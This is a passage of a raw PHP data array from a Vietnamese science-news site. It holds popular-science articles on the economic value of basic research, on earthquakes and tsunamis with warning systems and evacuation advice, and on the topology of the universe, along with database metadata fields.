giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với 